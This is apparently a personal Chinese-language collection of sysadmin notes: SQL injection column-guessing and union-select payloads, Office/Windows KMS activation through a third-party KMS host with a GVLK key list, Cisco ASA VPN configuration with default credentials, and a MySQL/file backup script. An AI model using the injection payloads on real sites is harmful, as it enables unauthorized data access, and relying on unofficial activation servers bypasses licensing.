猜数据库列数
order by 2 -- ,拼接后的SQL语句 SELECT first_name, last_name FROM users WHERE user_id = '1' order by 2 -- ';
存在列数正常输出,出错时出现Unknown column '3' in 'order clause'
使用联合查询 union
1' union select 1,2 -- ,拼接后的SQL语句 SELECT first_name, last_name FROM users WHERE user_id = '1' union select 1,2 -- ';
SELECT first_name, last_name FROM users WHERE user_id = '1' union select version(),user() -- ';

零售版(Retail)激活转换到KMS激活 for /f %x in ('dir /b ..\root\Licenses16\proplusvl_kms*.xrm-ms') do cscript ospp.vbs /inslic:"..\root\Licenses16\%x" >nul
查看安装的密匙

C:\Program Files\Microsoft Office\Office16>cscript ospp.vbs /dstatus
Microsoft (R) Windows Script Host Version 5.8
版权所有(C) Microsoft Corporation 1996-2001。保留所有权利。

---Processing--------------------------
---------------------------------------
PRODUCT ID: 00346-40000-00000-AA946
SKU ID: 70d9ceb6-6dfa-4da4-b413-18c1c3c76e2e
LICENSE NAME: Office 16, Office16ProPlusR_Grace edition
LICENSE DESCRIPTION: Office 16, RETAIL(Grace) channel
BETA EXPIRATION: 1601/1/1
LICENSE STATUS:  ---OOB_GRACE---
ERROR CODE: 0x4004F00C
ERROR DESCRIPTION: The Software Licensing Service reported that the application
is running within the valid grace period.
REMAINING GRACE: 4 days  (7194 minute(s) before expiring)
Last 5 characters of installed product key: BTDRB
---------------------------------------
---------------------------------------
---Exiting-----------------------------

卸载已经安装的密匙

C:\Program Files\Microsoft Office\Office16>cscript ospp.vbs /unpkey:BTDRB
Microsoft (R) Windows Script Host Version 5.8
版权所有(C) Microsoft Corporation 1996-2001。保留所有权利。

---Processing--------------------------
---------------------------------------
Uninstalling product key for: Office 16, Office16ProPlusR_Grace edition
<Product key uninstall successful>
---------------------------------------
---Exiting-----------------------------

安装KMS密匙 C:\Program Files\Microsoft Office\Office16>cscript ospp.vbs /inpkey:XQNVK-8JYDB-WJ9W3-YJ8YR-WFG99
设置Office激活的KMS服务器 C:\Program Files\Microsoft Office\Office16>cscript ospp.vbs /sethst:kms.cmd.gd
激活 C:\Program Files\Microsoft Office\Office16>cscript ospp.vbs /act


激活Windows
slmgr /skms kms.cmd.gd
slmgr /ato
KMS.7z

MS KMS Volume Activation

Office产品GVLK序列号查找
https://technet.microsoft.com/zh-cn/library/dn385360(v=office.16).aspx
https://technet.microsoft.com/ZH-CN/library/dn385360.aspx
https://technet.microsoft.com/ZH-CN/library/ee624355(v=office.14).aspx

KMS密钥

Windows Server 2016 Datacenter CB7KF-BWN84-R7R2Y-793K2-8XDDG
Windows Server 2016 Standard WC2BQ-8NRM3-FDDYY-2BFGV-KHKQY
Windows Server 2016 Essentials JCKRF-N37P4-C2D82-9YXRT-4M63B
Windows 10专业版 W269N-WFGWX-YVC9B-4J6C9-T83GX
Windows 10专业版N MH37W-N47XK-V7XM9-C7227-GCQG9
Windows 10企业版 NPPR9-FWDCX-D2C8J-H872K-2YT43
Windows 10企业N DPH2V-TTNVB-4X9Q3-TJR4H-KHJW4
Windows 10教育 NW6C2-QMPVW-D7KKK-3GKT6-VCFB2
Windows 10教育N 2WH4N-8QGBV-H22JP-CT43Q-MDWWJ
Windows 10 Enterprise 2015 LTSB WNMTR-4C88C-JK8YV-HQ7T2-76DF9
Windows 10 Enterprise 2015 LTSB N 2F77B-TNFGY-69QQF-B8YKP-D69TJ
Windows 10 Enterprise 2016 LTSB DCPHK-NFMTC-H88MJ-PFHPY-QJ4BJ
Windows 10 Enterprise 2016 LTSB N QFFDN-GRT3P-VKWWX-X7T3R-8B639
Windows 8.1专业版 GCRJD-8NW9H-F2CDX-CCM8D-9D6T9
Windows 8.1专业版N HMCNV-VVBFX-7HMBH-CTY9B-B4FXY
Windows 8.1企业版 MHF9N-XY6XB-WVXMC-BTDCT-MKKG7
Windows 8.1 Enterprise N TT4HM-HN7YT-62K67-RGRQJ-JFFXW
Windows Server 2012 R2服务器标准 D2N9P-3P6X9-2R39C-7RTCD-MDVJX
Windows Server 2012 R2 Datacenter W3GGN-FT8W3-Y4M27-J84CP-Q3VJ9
Windows Server 2012 R2 Essentials KNC87-3J2TX-XB4WP-VCPJV-M4FWM
Windows 8专业版 NG4HW-VH26C-733KW-K6F98-J8CK4
Windows 8专业版N XCVCF-2NXM9-723PB-MHCB7-2RYQQ
Windows 8企业版 32JNW-9KQ84-P47T8-D8GGY-CWCK7
Windows 8企业版N JMNMF-RHW7P-DMY6X-RF3DR-X2BQT
Windows Server 2012 BN3D2-R7TKB-3YPBD-8DRP2-27GG4
Windows Server 2012 N 8N2M2-HWPGY-7PGT9-HGDD8-GVGGY
Windows Server 2012单一语言 2WN2H-YGCQR-KFX6K-CD6TF-84YXQ
Windows Server 2012特定国家/地区 4K36P-JN4VD-GDC6V-KDT89-DYFKP
Windows Server 2012服务器标准 XC9B7-NBPP2-83J2H-RHMBY-92BT4
Windows Server 2012多点标准 HM7DN-YVMH3-46JC3-XYTG7-CYQJJ
Windows Server 2012 MultiPoint Premium XNH6W-2V9GX-RGJ4K-Y8X6F-QGJ2G
Windows Server 2012 Datacenter 48HP8-DN98B-MYWDG-T2DCC-8W83P
Windows 7专业版 FJ82H-XT6CR-J8D7P-XQJJ2-GPDD4
Windows 7专业版N MRPKT-YTG23-K7D7T-X2JMM-QY7MG
Windows 7专业版E W82YF-2Q76Y-63HXB-FGJG9-GF7QX
Windows 7企业版 33PXH-7Y6KF-2VJC9-XBBR8-HVTHH
Windows 7企业版N YDRBP-3D83W-TY26F-D46B2-XCKRJ
Windows 7企业版E C29WB-22CC8-VJ326-GHFJW-H9DH4
Windows Server 2008 R2 Web 6TPJF-RBVHG-WBW2R-86QPH-6RTM4
Windows Server 2008 R2 HPC版本 TT8MH-CG224-D3D7Q-498W2-9QCTX
Windows Server 2008 R2 Standard YC6KT-GKW9T-YTKYR-T4X34-R7VHC
Windows Server 2008 R2企业版 489J6-VHDMP-X63PK-3K798-CPX3Y
Windows Server 2008 R2 Datacenter 74YFP-3QFB3-KQT8W-PMXWJ-7M648
Windows Server 2008 R2(用于基于Itanium的系统) GT63C-RJFQ3-4GMB6-BRFB9-CB83V
Windows Vista Business YFKBB-PQJJV-G996G-VWGXY-2V3X8
Windows Vista Business N HMBQG-8H2RH-C77VX-27R82-VMQBT
Windows Vista企业版 VKK3X-68KWM-X2YGT-QR4M6-4BWMV
Windows Vista Enterprise N VTC42-BM838-43QHV-84HX6-XJXKV
Windows Web Server 2008 WYR28-R7TFJ-3X2YQ-YCY4H-M249D
Windows Server 2008 Standard TM24T-X9RMF-VWXK6-X8JC9-BFGM2
不带Hyper-V的Windows Server 2008 Standard W7VD6-7JFBR-RX26B-YKQ3Y-6FFFJ
Windows Server 2008 Enterprise YQGMW-MPWTJ-34KDK-48M3W-X4Q6V
没有Hyper-V的Windows Server 2008 Enterprise 39BXF-X8Q23-P2WWT-38T2F-G3FPG
Windows Server 2008 HPC RCTX3-KWVHP-BR6TB-RB6DM-6X7HP
Windows Server 2008 Datacenter 7M67G-PC374-GR742-YH8V4-TCBY3
没有Hyper-V的Windows Server 2008 Datacenter 22XQ2-VRXRG-P8D42-K34TD-G3QQC
Windows Server 2008(用于基于Itanium的系统) 4DWFP-JF3DJ-B7DTH-78FJB-PDRHK

从trunst to untrust 策略、NAT都没有问题。 trust 接口是不会被NAT的
trust 连接一台设备,或主机,从设备上或主机上发起。

- webvpn
- enable outside
- tunnel-group-list enable
- group-policy ClientlessGP internal
- group-policy ClientlessGP attributes
- vpn-tunnel-protocol ssl-clientless
- username CISCO password CISCO
- username CISCO attributes
-   vpn-group-policy ClientlessTG
- tunnel-group ClientlessTG type remote-access
- tunnel-group ClientlessTG webvpn-attributes
- group-alias ALINAME enable

Clientless (browser) SSL VPN access is not allowed.
Disable AnyConnect Essential:

webvpn
no anyconnect-essentials
reference: http://www.cisco.com/en/US/docs/security/asa/asa82/command/reference/a2.html#wp1668278

- ip local pool AnyconnectPool 172.16.1.1-172.16.1.99 mask 255.255.255.0
- interface Vlan1
-  nameif inside
-  security-level 100
-  ip address 192.168.1.1 255.255.255.0
- interface Vlan2
-  nameif outside
-  security-level 0
-  ip address 140.10.1.1 255.255.255.0
- webvpn
-  enable outside
-  anyconnect-essentials
-  anyconnect image disk0:/anyconnect-win-2.5.6005-k9.pkg 1
-  anyconnect enable
-  tunnel-group-list enable
- group-policy AnyconnectGP internal
- group-policy AnyconnectGP attributes
-  vpn-tunnel-protocol ssl-client
- tunnel-group AnyconnectTG type remote-access
- tunnel-group AnyconnectTG general-attributes
-  address-pool AnyconnectPool
-  default-group-policy AnyconnectGP
- tunnel-group AnyconnectTG webvpn-attributes
-  group-alias AnyconnectClient enable

上面为没有禁止NAT,禁止NAT需加如下

object network NETWORK_OBJ_172.16.1.0_25
  subnet 172.16.1.0 255.255.255.128
nat (inside,outside) source static any any destination static NETWORK_OBJ_172.16.1.0_25 NETWORK_OBJ_172.16.1.0_25 no-proxy-arp route-lookup

魔改自 https://teddysun.com/469.html ,去掉gdrive/ftp上传,按分钟删除文件(默认删除60分钟之前的备份)。

#!/usr/bin/env bash
#
# Auto backup script
#
# Copyright (C) 2016 Teddysun <i@teddysun.com>
#
# URL: https://teddysun.com/469.html
#
# You must to modify the config before run it!!!
# Backup MySQL/MariaDB/Percona datebases, files and directories
# Backup file is encrypted with AES256-cbc with SHA1 message-digest (option)
# Auto transfer backup file to Google Drive (need install gdrive command) (option)
# Auto transfer backup file to FTP server (option)
# Auto delete Google Drive's or FTP server's remote file (option)
#

[[ $EUID -ne 0 ]] && echo "Error: This script must be run as root!" && exit 1

########## START OF CONFIG ##########

# Encrypt flag (true: encrypt, false: not encrypt)
ENCRYPTFLG=false

# WARNING: KEEP THE PASSWORD SAFE!!!
# The password used to encrypt the backup
# To decrypt backups made by this script, run the following command:
# openssl enc -aes256 -in [encrypted backup] -out decrypted_backup.tgz -pass pass:[backup password] -d -md sha1
BACKUPPASS="mypassword"

# Directory to store backups
LOCALDIR="/web/backup/"

# Temporary directory used during backup creation
TEMPDIR="/web/backup/temp/"

# File to log the outcome of backups
LOGFILE="/web/backup/log"

# OPTIONAL: If you want backup MySQL database, enter the MySQL root password below
MYSQL_ROOT_PASSWORD="mypassword"

# Below is a list of MySQL database name that will be backed up
# If you want backup ALL databases, leave it blank.
MYSQL_DATABASE_NAME[0]=""

# Below is a list of files and directories that will be backed up in the tar backup
# For example:
# File: /data/www/default/test.tgz
# Directory: /data/www/default/test
BACKUP[0]="/web/wwwroot/1"
BACKUP[1]="/web/wwwroot/2"

# Number of days to store daily local backups (default 7 days)
DELETEMIN="60"

########## END OF CONFIG ##########



# Date & Time
DAY=$(date +%d)
MONTH=$(date +%m)
YEAR=$(date +%C%y)
BACKUPDATE=$(date +%Y%m%d%H%M%S)
# Backup file name
TARFILE="${LOCALDIR}""$(hostname)"_"${BACKUPDATE}".tgz
# Encrypted backup file name
ENC_TARFILE="${TARFILE}.enc"
# Backup MySQL dump file name
SQLFILE="${TEMPDIR}mysql_${BACKUPDATE}.sql"

log() {
    echo -e "$(date "+%Y-%m-%d %H:%M:%S")" "$1" >> ${LOGFILE}
}

# Check for list of mandatory binaries
check_commands() {
    # This section checks for all of the binaries used in the backup
    BINARIES=( cat cd du date dirname echo openssl mysql mysqldump pwd rm tar )

    # Iterate over the list of binaries, and if one isn't found, abort
    for BINARY in "${BINARIES[@]}"; do
        if [ ! "$(command -v "$BINARY")" ]; then
            log "$BINARY is not installed. Install it and try again"
            exit 1
        fi
    done
}

calculate_size() {
    local file_name=$1
    local file_size=$(du -h $file_name 2>/dev/null | awk '{print $1}')
    if [ "x${file_size}" = "x" ]; then
        echo "unknown"
    else
        echo "${file_size}"
    fi
}

# Backup MySQL databases
mysql_backup() {
    if [ -z ${MYSQL_ROOT_PASSWORD} ]; then
        log "MySQL root password not set, MySQL backup skipped"
    else
        log "MySQL dump start"
        mysql -u root -p"${MYSQL_ROOT_PASSWORD}" 2>/dev/null <<EOF
exit
EOF
        if [ $? -ne 0 ]; then
            log "MySQL root password is incorrect. Please check it and try again"
            exit 1
        fi

        if [ "${MYSQL_DATABASE_NAME[*]}" == "" ]; then
            mysqldump -u root -p"${MYSQL_ROOT_PASSWORD}" --all-databases > "${SQLFILE}" 2>/dev/null
            if [ $? -ne 0 ]; then
                log "MySQL all databases backup failed"
                exit 1
            fi
            log "MySQL all databases dump file name: ${SQLFILE}"
            #Add MySQL backup dump file to BACKUP list
            BACKUP=(${BACKUP[*]} ${SQLFILE})
        else
            for db in ${MYSQL_DATABASE_NAME[*]}
            do
                unset DBFILE
                DBFILE="${TEMPDIR}${db}_${BACKUPDATE}.sql"
                mysqldump -u root -p"${MYSQL_ROOT_PASSWORD}" ${db} > "${DBFILE}" 2>/dev/null
                if [ $? -ne 0 ]; then
                    log "MySQL database name [${db}] backup failed, please check database name is correct and try again"
                    exit 1
                fi
                log "MySQL database name [${db}] dump file name: ${DBFILE}"
                #Add MySQL backup dump file to BACKUP list
                BACKUP=(${BACKUP[*]} ${DBFILE})
            done
        fi
        log "MySQL dump completed"
    fi
}

start_backup() {
    [ "${BACKUP[*]}" == "" ] && echo "Error: You must to modify the [$(basename $0)] config before run it!" && exit 1

    log "Tar backup file start"
    tar -zcPf ${TARFILE} ${BACKUP[*]}
    if [ $? -gt 1 ]; then
        log "Tar backup file failed"
        exit 1
    fi
    log "Tar backup file completed"

    # Encrypt tar file
    if ${ENCRYPTFLG}; then
        log "Encrypt backup file start"
        openssl enc -aes256 -in "${TARFILE}" -out "${ENC_TARFILE}" -pass pass:"${BACKUPPASS}" -md sha1
        log "Encrypt backup file completed"

        # Delete unencrypted tar
        log "Delete unencrypted tar file: ${TARFILE}"
        rm -f ${TARFILE}
    fi

    # Delete MySQL temporary dump file
    for sql in `ls ${TEMPDIR}*.sql`
    do
        log "Delete MySQL temporary dump file: ${sql}"
        rm -f ${sql}
    done

    if ${ENCRYPTFLG}; then
        OUT_FILE="${ENC_TARFILE}"
    else
        OUT_FILE="${TARFILE}"
    fi
    log "File name: ${OUT_FILE}, File size: `calculate_size ${OUT_FILE}`"
}

# Clean up old file
clean_up_files() {
    cd ${LOCALDIR} || exit

    if ${ENCRYPTFLG}; then
        FileExt="*.enc"
    else
        FileExt="*.tgz"
    fi
    find . -name "$FileExt" -type f -mmin +$DELETEMIN -delete
}

# Main progress
STARTTIME=$(date +%s)

# Check if the backup folders exist and are writeable
if [ ! -d "${LOCALDIR}" ]; then
    mkdir -p ${LOCALDIR}
fi
if [ ! -d "${TEMPDIR}" ]; then
    mkdir -p ${TEMPDIR}
fi

log "Backup progress start"
check_commands
mysql_backup
start_backup
log "Backup progress complete"

clean_up_files

ENDTIME=$(date +%s)
DURATION=$((ENDTIME - STARTTIME))
log "All done"
log "Backup and transfer completed in ${DURATION} seconds"

debian buster的配置例子放在/usr/share/doc/rsync/examples/rsyncd.conf
复制到etc目录下 cp /usr/share/doc/rsync/examples/rsyncd.conf /etc/rsyncd.conf
配置hosts allow后,允许的主机直接使用命令同步,不用输入密码 rsync -a rsync://0.0.0.0/example ./example